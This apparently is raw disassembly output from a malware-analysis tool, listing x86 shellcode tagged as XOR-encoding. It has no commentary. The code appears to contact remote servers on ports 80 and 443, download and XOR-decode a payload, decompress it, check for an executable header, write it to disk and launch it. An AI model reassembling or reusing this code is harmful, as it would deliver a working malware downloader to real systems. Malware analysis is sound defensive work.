Function at 0x2c1a19
Capabilities:
Encode data using xor

Disassembly:
pop ecx
jmp 0x2c22bb
mov ebp, esp
add esp, 0xfffffff0
add ecx, 0xc
push ecx
mov dword [ebp - 0xc], ecx
mov edi, ecx
xor eax, eax
mov al, byte [edi]
test eax, eax
je 0x2c22d5
dec eax
stosb byte es:[edi], al
jmp 0x2c22cb
inc edi
mov ebx, edi
push dword [ebp + 4]
call dword [ebp]
mov dword [ebp - 4], eax
push eax
xor eax, eax
mov edi, ebx
push edi
push ebx
mov al, byte [edi]
dec eax
stosb byte es:[edi], al
inc eax
jne 0x2c22e8
dec edi
stosb byte es:[edi], al
push dword [ebp + 4]
call dword [ebp]
pop esi
mov dword [ebp - 8], eax
push eax
lodsb al, byte [esi]
mov ah, al
test ax, ax
jne 0x2c22fc
lodsb al, byte [esi]
dec al
je 0x2c2332
dec al
je 0x2c233b
dec al
jne 0x2c2327
mov eax, 0x446c7452
mov dword [esi], eax
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
xor eax, eax
dec eax
mov dword [esi], eax
jmp 0x2c22fc
dec esi
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
jmp 0x2c22fc
push esi
call dword [ebp - 4]
mov dword [ebp - 0x10], eax
jmp 0x2c22fc
mov eax, dword [ebp - 0xc]
mov ecx, eax
add eax, 0xcee
push eax
mov eax, ecx
add eax, 0xcfd
push eax
mov eax, ecx
add eax, 0xbd4
push eax
mov ebp, esp
add esp, 0xfffffd80
push 4
push 0x1000
push 0xa7dce4
push 0
call dword [ebp + 0x3c]
test eax, eax
je 0x2c235e
push 0x1000
pop ecx
push ecx
mov dword [ebp - 0x44], eax
add eax, 0x1e8868
mov dword [ebp - 0x48], eax
add eax, 0x5b9550
mov dword [ebp - 0xc], eax
pop edx
add eax, edx
mov dword [ebp - 0x10], eax
add eax, edx
add eax, ecx
mov dword [ebp - 0x30], eax
add eax, edx
mov dword [ebp - 4], eax
mov ebx, eax
add eax, edx
mov edi, eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], eax
lodsw ax, word [esi]
mov dword [ebp - 0x54], eax
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebx], edi
add ebx, 4
lodsb al, byte [esi]
inc eax
dec eax
dec eax
je 0x2c23d5
inc eax
stosw word es:[edi], ax
add ecx, 1
test al, al
jne 0x2c23c3
jmp 0x2c23be
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 8], esi
shl eax, 2
add esi, eax
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], edi
mov ecx, eax
cld
lodsd eax, dword [esi]
inc ecx
stosd dword es:[edi], eax
xor eax, eax
lodsw ax, word [esi]
dec ecx
stosd dword es:[edi], eax
loop 0x2c23ec
mov eax, 0x400
mov dword [ebp - 0x50], edi
add edi, eax
mov dword [ebp - 0x6c], edi
mov ebx, edi
add ebx, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov eax, 0xc8
lea esi, [ebp - 0x68]
mov dword [esi], eax
push esi
push edi
call dword [ebp + 0x70]
lodsd eax, dword [esi]
shl eax, 1
add edi, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov ah, 4
mov dword [ebp - 0x68], ebx
mov edi, ebx
add ebx, eax
mov ecx, 0x11c
mov esi, ebx
mov dword [esi], ecx
push esi
call dword [ebp + 0x6c]
xor eax, eax
push 0x10e
push 0x2f
pop eax
stosw word es:[edi], ax
lodsd eax, dword [esi]
push 0x30
pop ecx
lodsd eax, dword [esi]
add al, cl
stosw word es:[edi], ax
lodsd eax, dword [esi]
add al, cl
stosw word es:[edi], ax
pop eax
add esi, eax
lodsb al, byte [esi]
dec al
je 0x2c2464
mov al, 0x53
stosw word es:[edi], ax
sub esi, 6
dec esi
lodsw ax, word [esi]
test ax, ax
je 0x2c2487
add al, 0x32
dec eax
push eax
mov al, 0x2b
inc eax
inc eax
stosw word es:[edi], ax
mov al, 0x54
push 0x50
dec eax
stosw word es:[edi], ax
pop eax
stosw word es:[edi], ax
pop eax
dec eax
stosw word es:[edi], ax
xor eax, eax
mov al, 0x2f
stosw word es:[edi], ax
xor eax, eax
stosw word es:[edi], ax
mov ebx, eax
push 0x1010101
push 0xfa000
pop ecx
pop eax
mov edi, dword [ebp - 0x44]
rep stosd dword es:[edi], eax
mov ecx, dword fs:[0x44]
mov dword [ebp - 0x70], ecx
mov ecx, dword [ebp - 0x44]
mov dword fs:[0x44], ecx
push ebx
push ebx
push 0x3e8
push dword [ebp + 0x38]
push ebx
push ebx
call dword [ebp + 0x7c]
mov eax, dword [ebp - 0x70]
mov dword fs:[0x44], eax
mov ebx, 0xfff
mov edi, dword [ebp - 0xc]
push ebx
push edi
xor eax, eax
push eax
call dword [ebp + 0x68]
mov esi, dword [ebp - 0x10]
push esi
push ebx
call dword [ebp + 0x64]
mov ecx, 7
call dword [ebp + 8]
push eax
push esi
mov ecx, 0
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x88]
add esp, 0x18
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push edi
call dword [ebp + 0x5c]
cmp eax, 0xffffffff
je 0x2c2505
mov dword [ebp - 0x14], eax
push 0
push eax
call dword [ebp + 0x40]
mov dword [ebp - 0x18], eax
push eax
push edi
call dword [ebp + 0x48]
inc eax
shl eax, 1
mov dword [ebp - 0x2c], eax
pop ecx
add ecx, eax
mov esi, ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 0x14]
call dword [ebp + 0x58]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp + 0x74]
test eax, eax
je 0x2c2737
push esi
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add edi, eax
mov esi, dword [ebp - 0xc]
cld
rep movsb byte es:[edi], byte [esi]
pop esi
xor eax, eax
mov edi, eax
push edi
push 0x80
push 2
push edi
push 2
push 0x40000000
push dword [ebp - 0x10]
call dword [ebp + 0x5c]
test eax, eax
je 0x2c2bdd
mov dword [ebp - 0x24], eax
push edi
lea ecx, [ebp - 0x20]
push ecx
push esi
push dword [ebp - 0x1c]
push eax
call dword [ebp + 0x54]
push dword [ebp - 0x14]
call dword [ebp + 0x44]
push dword [ebp - 0x24]
call dword [ebp + 0x44]
push dword [ebp - 0xc]
push 0x800
call dword [ebp + 0x64]
xor eax, eax
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x2c25da
mov edi, eax
push dword [ebp - 0xc]
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x10]
push edi
call dword [ebp + 0x34]
push edi
call dword [ebp + 0x30]
int3
xor eax, eax
mov ecx, 0x3c
mov edx, dword [ebp - 0x1c]
push edx
add edx, ecx
mov ax, word [edx]
pop edx
add edx, eax
movzx ecx, word [edx + 6]
mov esi, dword [edx + 0x3c]
add edx, 0x14
movzx eax, word [edx]
inc eax
inc eax
inc eax
inc eax
add edx, eax
mov eax, 0x28
dec ecx
add edx, eax
dec ecx
jne 0x2c2763
mov ecx, esi
mov eax, dword [edx + 8]
add eax, ecx
dec eax
dec ecx
not ecx
and eax, ecx
add eax, dword [edx + 0x14]
mov edi, dword [ebp - 0x1c]
add edi, eax
push dword [ebp - 0x14]
call dword [ebp + 0x44]
mov esi, 0x1e
push edi
call dword [ebp + 0x50]
test eax, eax
jne 0x2c279b
push 0x3e8
call dword [ebp + 0x38]
dec esi
jne 0x2c2788
xor eax, eax
mov esi, eax
push eax
push esi
push eax
push 0
push 6
pop ecx
call dword [ebp + 8]
push eax
call dword [ebp + 0x28]
test eax, eax
je 0x2c279b
mov dword [ebp - 0x28], eax
push 3
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x88], eax
push 4
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x84], eax
mov eax, 0x3e80
mov dword [ebp - 0x7c], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov ecx, eax
mov dword [ebp - 0x80], eax
dec eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
inc eax
cmp eax, dword [ebp - 0x5c]
jne 0x2c2834
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
inc eax
mov dword [edx], eax
mov ecx, dword [ebp - 0x7c]
cmp eax, 5
jbe 0x2c281b
inc esi
cmp eax, 0xa
jbe 0x2c281b
add ecx, 0x2710
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [edx], eax
mov ecx, 0x927c0
push ecx
call dword [ebp + 0x38]
test esi, esi
jne 0x2c282a
mov ax, 0x2901
call dword [ebp]
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x2c2834
xor eax, eax
inc eax
mov dword [ebp - 0x58], eax
call dword [ebp + 4]
cmp ah, 0xff
je 0x2c27e5
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x2c284e
push eax
call dword [ebp + 0x18]
and dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
jecxz 0x2c285b
push ecx
call dword [ebp + 0x18]
and dword [ebp - 0x38], 0
lea esi, [ebp - 0x70]
mov eax, 0xfa0
mov dword [esi], eax
push 4
push esi
push 2
push dword [ebp - 0x28]
call dword [ebp + 0x10]
push 3
pop ecx
xor esi, esi
push ecx
push esi
push esi
push 3
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x1bb
test eax, eax
jne 0x2c288d
mov ecx, 0x50
push ecx
dec eax
test eax, eax
jne 0x2c28b7
inc eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
test eax, eax
jne 0x2c28b7
inc eax
mov dword [edx], eax
call dword [ebp + 0x60]
xor edx, edx
div dword [ebp - 0x5c]
mov eax, edx
test eax, eax
jne 0x2c28b4
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
pop ecx
test eax, eax
loope 0x2c2875
mov dword [ebp - 0x34], eax
je 0x2c27e5
xchg edi, eax
lea esi, [ebp - 0x70]
mov eax, 0x2710
mov dword [esi], eax
push 4
push esi
push 2
push edi
call dword [ebp + 0x10]
xor esi, esi
push 3
pop ecx
push ecx
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x80803000
test eax, eax
jne 0x2c2903
mov ecx, 0x80000000
push ecx
lea eax, [ebp - 0x88]
push eax
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ah, 1
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
push edi
call dword [ebp + 0x20]
pop ecx
test eax, eax
loope 0x2c28f0
mov dword [ebp - 0x38], eax
test eax, eax
je 0x2c28d1
xchg edi, eax
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x2c2949
lea esi, [ebp - 0x70]
mov eax, 0x100
mov dword [esi], eax
push 4
push esi
push 0x1f
push dword [ebp - 0x38]
call dword [ebp + 0x10]
lea esi, [ebp - 0x70]
mov eax, 0xea60
mov dword [esi], eax
push 4
push esi
push 6
push dword [ebp - 0x38]
call dword [ebp + 0x10]
push 4
push esi
push 2
push dword [ebp - 0x38]
call dword [ebp + 0x10]
xor esi, esi
push 2
pop ecx
push ecx
push esi
push esi
push esi
push esi
push edi
call dword [ebp + 0x1c]
pop ecx
test eax, eax
loope 0x2c296e
je 0x2c28d1
mov eax, 0x3d0900
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x20]
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x64], edi
mov ecx, 0x1388
push ecx
push esi
push dword [ebp - 0x40]
push edi
push dword [ebp - 0x38]
call dword [ebp + 0x14]
pop ecx
test eax, eax
je 0x2c29d2
mov eax, dword [esi]
test eax, eax
je 0x2c29d2
add edi, eax
sub dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x2c29d2
dec ecx
jne 0x2c299d
mov ecx, dword [ebp - 0x58]
mov ax, 0x2902
call dword [ebp]
jmp 0x2c27e5
mov eax, edi
sub eax, dword [ebp - 0x44]
cmp eax, 0x249f0
ja 0x2c2a4e
mov ecx, dword [ebp - 0x58]
test ecx, ecx
jne 0x2c29c3
mov ecx, eax
mov edi, dword [ebp - 0x30]
mov eax, dword [edi]
test eax, eax
jne 0x2c29c3
push 0x2e
mov esi, dword [ebp - 0x44]
mov eax, dword [esi]
inc esi
cmp eax, 0x65726464
loopne 0x2c29f5
jcxz 0x2c29c3
inc esi
inc esi
inc esi
lodsd eax, dword [esi]
sub eax, 0x203a7373
jne 0x2c29c3
pop ecx
lodsb al, byte [esi]
cmp al, cl
jb 0x2c2a1d
cmp al, 0x39
ja 0x2c2a1d
add eax, 0x14
stosb byte es:[edi], al
loop 0x2c2a0e
xor eax, eax
stosw word es:[edi], ax
push eax
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
call dword [ebp + 0x60]
and eax, 3
add eax, dword [ebp - 0x54]
push eax
mov cl, 8
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
mov dword [ebp - 0x74], eax
pop eax
mov ecx, eax
call dword [ebp]
jmp 0x2c27e5
mov dword [ebp - 0x40], eax
mov eax, 0x5a06e0
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
mov ah, 2
call dword [ebp + 4]
mov cl, ah
shl ecx, 2
mov eax, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 0x40]
push ebx
mov esi, dword [ebp - 0x44]
push 4
mov ebx, dword [eax]
inc esi
inc esi
shr ecx, 2
pop edx
inc esi
inc esi
mov edi, esi
dec ecx
push ebx
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
pop ebx
dec ebx
dec ecx
jne 0x2c2a81
inc ecx
inc ecx
lea eax, [ebp - 0x14]
inc ecx
inc ecx
pop ebx
push eax
mov eax, dword [ebp - 0x40]
sub eax, ecx
push eax
mov esi, dword [ebp - 0x44]
add esi, ecx
push esi
mov eax, dword [ebp - 0x4c]
push eax
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x64], edi
push edi
push 0x102
call dword [ebp + 0x84]
mov eax, dword [edi]
dec al
inc ah
cmp ax, 0x5b4c
je 0x2c2af1
mov eax, dword [ebp - 0x58]
mov ecx, eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
cmp eax, 5
ja 0x2c2bdd
inc eax
mov dword [edx], eax
mov ax, 0x2904
call dword [ebp]
push 0x7d0
call dword [ebp + 0x38]
jmp 0x2c27e5
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
push 0x80
push 2
push eax
push 2
push 0x40000000
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
call dword [ebp + 0x5c]
mov edi, eax
xor eax, eax
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x64]
push edi
call dword [ebp + 0x54]
push edi
call dword [ebp + 0x44]
mov esi, dword [ebp - 0xc]
push esi
push ecx
call dword [ebp + 0x4c]
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
mov ecx, 1
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x88]
add esp, 0x18
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x2c2b6c
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
push edi
call dword [ebp + 0x34]
mov ecx, eax
mov eax, 0x2905
call dword [ebp]
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov ecx, eax
push ecx
mov eax, dword [ebp - 0x58]
mov ah, 3
call dword [ebp + 4]
mov cl, ah
mov eax, 0x3e8
mul ecx
push eax
call dword [ebp + 0x38]
pop ecx
mov dl, cl
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x5c]
push ebx
mov ebx, dword [ebp - 0x60]
mov eax, dword [ebx]
cmp al, dl
jne 0x2c2bc8
inc ebx
mov al, 0xff
mov byte [ebx], al
dec ebx
mov ah, al
cmp ah, 0xff
je 0x2c2bce
inc esi
add ebx, 8
dec ecx
jne 0x2c2bba
pop ebx
cmp esi, ecx
jne 0x2c27e5
push 0
call dword [ebp + 0x30]
int3